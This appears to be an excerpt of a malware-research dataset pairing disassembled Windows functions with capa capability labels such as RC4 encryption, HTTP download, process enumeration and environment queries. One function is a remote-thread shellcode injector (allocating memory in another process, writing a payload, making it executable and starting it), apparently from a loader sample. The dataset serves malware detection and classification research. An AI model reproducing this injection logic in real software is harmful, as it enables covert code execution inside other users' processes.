joyce8/EMBER2024-capa huggingface dataset:
Function at 0x51f7a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x51f89b
push rbp
mov rbp, rsp
sub rsp, 0x50
movabs rdx, 0x63cecffdcddadfeb
mov qword [rsp + 0x1f], rdx
movabs rdx, 0xd1e8725d6c659463
mov qword [rsp + 0x26], rdx
movabs rdx, 0xed65ddd361e24d8e
mov qword [rsp + 0x2e], rdx
movabs rdx, 0xb11040f08011010
mov qword [rsp + 0x36], rdx
movabs rdx, 0x1105160e04010d14
mov qword [rsp + 0x3e], rdx
movabs rdx, 0x3001105160e0401
mov qword [rsp + 0x40], rdx
movabs rdx, 0x610160613020813
mov qword [rsp + 0x48], rdx
xor eax, eax
jmp 0x51f839
movzx r9d, byte [rsp + rsi + 0x1f]
lea edx, [r9 + rdx]
lea edx, [rdx + 0x63]
mov byte [rsp + rdi + 0x1f], dl
mov byte [rsp + rsi + 0x1f], r8b
add rax, 2
cmp rax, 0x1a
jge 0x51f86b
movzx edx, byte [rsp + rax + 0x36]
movzx esi, byte [rsp + rax + 0x37]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0x17
jae 0x51f88e
movzx r8d, byte [rsp + rdi + 0x1f]
lea r8d, [r8 + rdx]
lea r8d, [r8 + 0x63]
cmp rsi, 0x17
jb 0x51f81f
jmp 0x51f882
xor eax, eax
lea rbx, [rsp + 0x1f]
mov ecx, 0x17
call fcn.00441b80
add rsp, 0x50
pop rbp
ret
mov eax, esi
mov ecx, 0x17
call fcn.004521e0
mov eax, edi
mov ecx, 0x17
call fcn.004521e0
nop
nop dword [rax + rax]
call fcn.0044ff60
jmp fcn.0051f7a0

Function at 0x5225c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x5226a6
push rbp
mov rbp, rsp
sub rsp, 0x38
movabs rdx, 0xf65f68f5436c5c52
mov qword [rsp + 0x19], rdx
movabs rdx, 0xe74c636daef65f68
mov qword [rsp + 0x1e], rdx
movabs rdx, 0x60a0c0807050608
mov qword [rsp + 0x26], rdx
movabs rdx, 0x10c060a0c080705
mov qword [rsp + 0x28], rdx
movabs rdx, 0x70a0b0706040c01
mov qword [rsp + 0x30], rdx
xor eax, eax
nop
jmp 0x522640
movzx r9d, byte [rsp + rsi + 0x19]
lea edx, [r9 + rdx]
lea edx, [rdx + 0x76]
mov byte [rsp + rdi + 0x19], dl
mov byte [rsp + rsi + 0x19], r8b
add rax, 2
nop dword [rax]
cmp rax, 0x12
jge 0x522672
movzx edx, byte [rsp + rax + 0x26]
movzx esi, byte [rsp + rax + 0x27]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0xd
jae 0x522697
movzx r8d, byte [rsp + rdi + 0x19]
lea r8d, [r8 + rdx]
lea r8d, [r8 + 0x76]
cmp rsi, 0xd
jb 0x522622
jmp 0x52268b
xor eax, eax
lea rbx, [rsp + 0x19]
mov ecx, 0xd
nop
call fcn.00441b80
add rsp, 0x38
pop rbp
ret
mov eax, esi
mov ecx, 0xd
call fcn.004521e0
mov eax, edi
mov ecx, 0xd
nop
call fcn.004521e0
nop
call fcn.0044ff60
jmp fcn.005225c0
Function at 0x140001000
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov dword [rsp + 0x34], 1
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140001087
mov dword [rsp + 0x34], 0
jmp 0x140001207
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2400
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400010cd
mov dword [rsp + 0x34], 0
jmp 0x140001207
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x1400010fc
mov dword [rsp + 0x34], 0
jmp 0x140001207
xor eax, eax
cmp eax, 1
je 0x1400011ea
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001138
mov dword [rsp + 0x34], 0
jmp 0x140001207
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x38], 0
jne 0x14000116c
mov eax, dword [rsp + 0x30]
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x38], rax
jmp 0x140001187
mov r8d, 0x42
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x14000119b
mov dword [rsp + 0x34], 0
jmp 0x140001207
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
mov r8d, eax
mov rdx, qword [rsp + 0x40]
call fcn.140002550
mov eax, dword [rsp + 0x30]
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call fcn.140002bf0
cmp dword [rsp + 0x30], 0x400
jae 0x1400011e5
jmp 0x1400011ea
jmp 0x1400010fc
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x38]
mov qword [rax], rcx
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x50]
mov qword [rax], rcx
cmp qword [rsp + 0x48], 0
je 0x14000121a
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rsp + 0x58], 0
je 0x14000122d
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rsp + 0x48], 0
je 0x140001248
xor r9d, r9d
xor r8d, r8d
mov edx, 0x27
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
cmp qword [rsp + 0x40], 0
je 0x14000125b
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [rsp + 0x34]
add rsp, 0x68
ret
Function at 0x140001270
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x170
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rsp + 0x160], rax
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x130
rep stosb byte [rdi], al
mov dword [rsp + 0x30], 0x130
mov qword [rsp + 0x20], 0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x1400012ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateToolhelp32Snapshot_Failed_With_Error_:__d__n
call fcn.140001720
jmp 0x140001378
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x140001317
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Process32First_Failed_With_Error_:__d__n
call fcn.140001720
jmp 0x140001378
mov eax, dword [rsp + 0x180]
cmp dword [rsp + 0x38], eax
jne 0x140001365
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x188]
cmp qword [rax], 0
jne 0x140001363
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcess_Failed_With_Error_:__d__n
call fcn.140001720
jmp 0x140001378
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001317
cmp qword [rsp + 0x20], 0
je 0x14000138b
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x188]
cmp qword [rax], 0xffffffffffffffff
jne 0x14000139d
xor eax, eax
jmp 0x1400013a2
mov eax, 1
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140001810
add rsp, 0x170
pop rdi
ret
Function at 0x1400013d0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rsp + 0x80]
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140001448
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAllocEx_Failed_With_Error_:__d__n
call fcn.1400016c0
xor eax, eax
jmp 0x1400015a2
mov rdx, qword [rsp + 0x48]
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.1400016c0
lea rcx, str.___Press__Enter__To_Write_Payload_...
call fcn.1400016c0
call fcn.140009f10
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x80]
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400014a4
mov rax, qword [rsp + 0x80]
cmp qword [rsp + 0x50], rax
je 0x1400014bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteProcessMemory_Failed_With_Error_:__d__n
call fcn.1400016c0
xor eax, eax
jmp 0x1400015a2
mov rdx, qword [rsp + 0x50]
lea rcx, str._i__Successfully_Written__d_Bytes_n
call fcn.1400016c0
mov r8, qword [rsp + 0x80]
xor edx, edx
mov rcx, qword [rsp + 0x78]
call fcn.140002bf0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140001528
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtectEx_Failed_With_Error_:__d__n
call fcn.1400016c0
xor eax, eax
jmp 0x1400015a2
lea rcx, str.___Press__Enter__To_Run_...
call fcn.1400016c0
call fcn.140009f10
lea rcx, str._i__Executing_Payload_...
call fcn.1400016c0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x48]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140001591
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateRemoteThread_Failed_With_Error_:__d__n
call fcn.1400016c0
xor eax, eax
jmp 0x1400015a2
lea rcx, str.___DONE___n
call fcn.1400016c0
mov eax, 1
add rsp, 0x68
ret

Function at 0x140002204
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000224e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000224e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000224e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000224e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000224e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002250
xor al, al
add rsp, 0x28
ret

Function at 0x14000ac44
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000aa40
Function at 0x14001027c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400102ac
xor eax, eax
jmp 0x14001036f
mov rbp, rbx
cmp word [rax], si
je 0x1400102d1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400102b8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400102b4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14001019c
movsxd r14, eax
test eax, eax
jne 0x14001030f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400102a5
mov rcx, r14
call fcn.14000c73c
mov rdi, rax
test rax, rax
jne 0x140010328
xor ecx, ecx
call fcn.14000bac4
jmp 0x140010304
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14001019c
test eax, eax
jne 0x140010359
mov rcx, rdi
call fcn.14000bac4
jmp 0x140010363
xor ecx, ecx
call fcn.14000bac4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140014788
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001479e
mov al, 1
jmp 0x1400147fe
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400147af
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400147fc
mov ecx, dword [rcx + 0x18]
nop
call fcn.140010b9c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400147fc
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400147fc
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400147fc
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400147fe
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400149fc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140026590]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140014a53
cmp word [rdx], r13w
jne 0x140014a53
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140014a58
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140014b7d
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140014b9e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140014a91
mov rdx, r9
mov word [rbx], cx
jmp 0x140014ab8
cmp r9, r8
jae 0x140014ac8
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140014a72
jmp 0x140014b7d
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140014b72
cmp dword [rsp + 0x80], esi
je 0x140014b72
lea r8, [0x140026590]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140014b4a
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140014b1a
mov word [rbx], r13w
jmp 0x140014b7a
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140014b27
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140014b7a
cmp word [rsp + 0x70], r13w
jne 0x140014b57
cmp rbx, r14
je 0x140014b14
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140016a94
cmp word [rsp + 0x70], r13w
je 0x140014b7d
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140026590]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140014b77
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140014b7d
Function at 0x140016360
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000f26c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400163ea
cmp byte [rbp - 0x21], r15b
je 0x1400163e5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140016420
call fcn.14000bd14
test eax, eax
jne 0x14001640c
cmp byte [rbp - 0x21], r15b
je 0x140016404
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140016420
cmp byte [rbp - 0x21], r15b
je 0x14001641d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000e84c
test eax, eax
jne 0x1400164c0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000f26c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001645f
cmp byte [rbp - 0x21], r15b
je 0x140016494
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140016494
call fcn.14000bd14
test eax, eax
jne 0x140016480
cmp byte [rbp - 0x21], r15b
je 0x140016479
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140016494
cmp byte [rbp - 0x21], r15b
je 0x140016491
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000e84c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400164c0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400164c3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400164d1
mov rcx, rdi
call fcn.14000bac4
cmp byte [rbp + 0x3f], r15b
je 0x1400164e0
mov rcx, qword [rbp + 0x27]
call fcn.14000bac4
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400010e0
Capabilities:
Get graphical window text

Disassembly:
push rdi
sub rsp, 0x60
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rsi
mov rsi, rcx
mov rcx, qword [rcx + 0x20]
call qword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea edx, [rbx + 1]
lea rcx, [rsi + 0x78]
call fcn.140014a38
lea r8d, [rbx + 1]
mov rdx, qword [rsi + 0x78]
mov rcx, qword [rsi + 0x20]
call qword [sym.imp.USER32.dll_GetWindowTextA]
xor ebx, ebx
lea rcx, [rsi + 0x78]
call fcn.140014a28
test eax, eax
je 0x1400011df
mov edx, ebx
lea rcx, [rsi + 0x78]
call fcn.1400149c4
cmp byte [rax], 0x21
jl 0x14000116a
mov edx, ebx
lea rcx, [rsi + 0x78]
call fcn.1400149c4
cmp byte [rax], 0x7e
jg 0x14000116a
inc ebx
lea rcx, [rsi + 0x78]
call fcn.140014a28
cmp ebx, eax
jb 0x140001139
jmp 0x1400011df
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsi + 8]
lea rcx, [rsp + 0x40]
call fcn.1400147a4
nop
mov r9d, MsiRecordSetStringA
xor r8d, r8d
mov rdx, qword [rsi + 8]
lea rcx, [rsp + 0x28]
call fcn.1400147a4
nop
lea rcx, [rsp + 0x40]
call fcn.1400145b4
mov rbx, rax
lea rcx, [rsp + 0x28]
call fcn.1400145b4
mov rdx, rax
mov r9d, MsiDatabaseExportA
mov r8, rbx
mov rcx, qword [rsi + 0x10]
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
lea rcx, [rsp + 0x28]
call fcn.140014484
nop
lea rcx, [rsp + 0x40]
call fcn.140014484
jmp 0x1400011ee
mov edx, 1
mov rcx, qword [rsi + 0x10]
call qword [sym.imp.USER32.dll_EndDialog]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x1400014e8
Capabilities:
Get graphical window text

Disassembly:
mov rax, rsp
push rsi
push rdi
push r12
sub rsp, 0x90
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov rax, qword [0x140034ab8]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rbp, rcx
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov edi, eax
lea edx, [rdi + 1]
mov rcx, rbp
call fcn.140014a38
lea r8d, [rdi + 1]
mov rdx, qword [rbp]
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea edi, [rax + 1]
mov edx, edi
lea rcx, [rbp + 8]
call fcn.140014a38
mov r8d, edi
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.USER32.dll_GetWindowTextA]
movsxd rbx, edi
mov eax, 2
mul rbx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.140016f60
mov r12, rax
mov rdi, rax
xor eax, eax
mov rcx, rbx
rep stosb byte [rdi], al
and qword [rsp + 0x30], rax
mov qword [rsp + 0x20], rbx
mov r9, qword [rbp + 8]
mov r8, rbx
mov rdx, r12
lea rcx, [rsp + 0x30]
call fcn.140016ed0
lea rdx, [rsp + 0x70]
mov rcx, r12
call qword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
je 0x14000163e
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rbp + 0x10]
lea rcx, [rsp + 0x40]
call fcn.1400147a4
nop
mov r9d, 0x7f
xor r8d, r8d
mov rdx, qword [rbp + 0x10]
lea rcx, [rsp + 0x58]
call fcn.1400147a4
nop
lea rcx, [rsp + 0x40]
call fcn.1400145b4
mov rdi, rax
lea rcx, [rsp + 0x58]
call fcn.1400145b4
mov rdx, rax
mov r9d, MsiDatabaseExportA
mov r8, rdi
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
lea rcx, [rsp + 0x58]
call fcn.140014484
nop
lea rcx, [rsp + 0x40]
call fcn.140014484
jmp 0x14000164d
mov edx, 1
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.USER32.dll_EndDialog]
test r12, r12
je 0x14000165a
mov rcx, r12
call fcn.140016a28
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140017020
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x140001a8c
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov rcx, qword [rcx + 0x20]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x147
call qword [sym.imp.USER32.dll_SendMessageA]
mov rcx, qword [rsi + 0x28]
xor edx, edx
test eax, eax
setne dl
mov dword [rsi + 0x68], edx
call qword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea rcx, [rsi + 0x70]
mov edi, eax
lea edx, [rdi + 1]
call fcn.140014a38
mov rdx, qword [rsi + 0x70]
mov rcx, qword [rsi + 0x28]
lea r8d, [rdi + 1]
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rcx, qword [rsi + 0x30]
call qword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea rcx, [rsi + 0x78]
mov edi, eax
lea edx, [rdi + 1]
call fcn.140014a38
mov rdx, qword [rsi + 0x78]
mov rcx, qword [rsi + 0x30]
lea r8d, [rdi + 1]
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rcx, qword [rsi + 0x38]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x147
call qword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
jne 0x140001b36
mov dword [rsi + 0x80], 1
jmp 0x140001b40
mov dword [rsi + 0x80], 4
mov rcx, qword [rsi + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea rcx, [rsi + 0x88]
mov ebx, eax
lea edx, [rbx + 1]
call fcn.140014a38
mov rdx, qword [rsi + 0x88]
mov rcx, qword [rsi + 0x40]
lea r8d, [rbx + 1]
call qword [sym.imp.USER32.dll_GetWindowTextA]
cmp dword [rsi + 0x80], 4
jne 0x140001bae
mov rcx, qword [rsi + 0x50]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf0
call qword [sym.imp.USER32.dll_SendMessageA]
mov rcx, qword [rsi + 0x88]
xor edx, edx
lea r8d, [rdx + 0x10]
test eax, eax
jne 0x140001ba3
lea r8d, [rdx + 0xa]
call fcn.140017570
mov dword [rsi + 0x90], eax
mov rcx, qword [rsi + 0x10]
mov edx, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.USER32.dll_EndDialog]
and byte [rax], al
outsd dx, dword [rsi]
add byte [rdx], dh
and byte [rax], al
invalid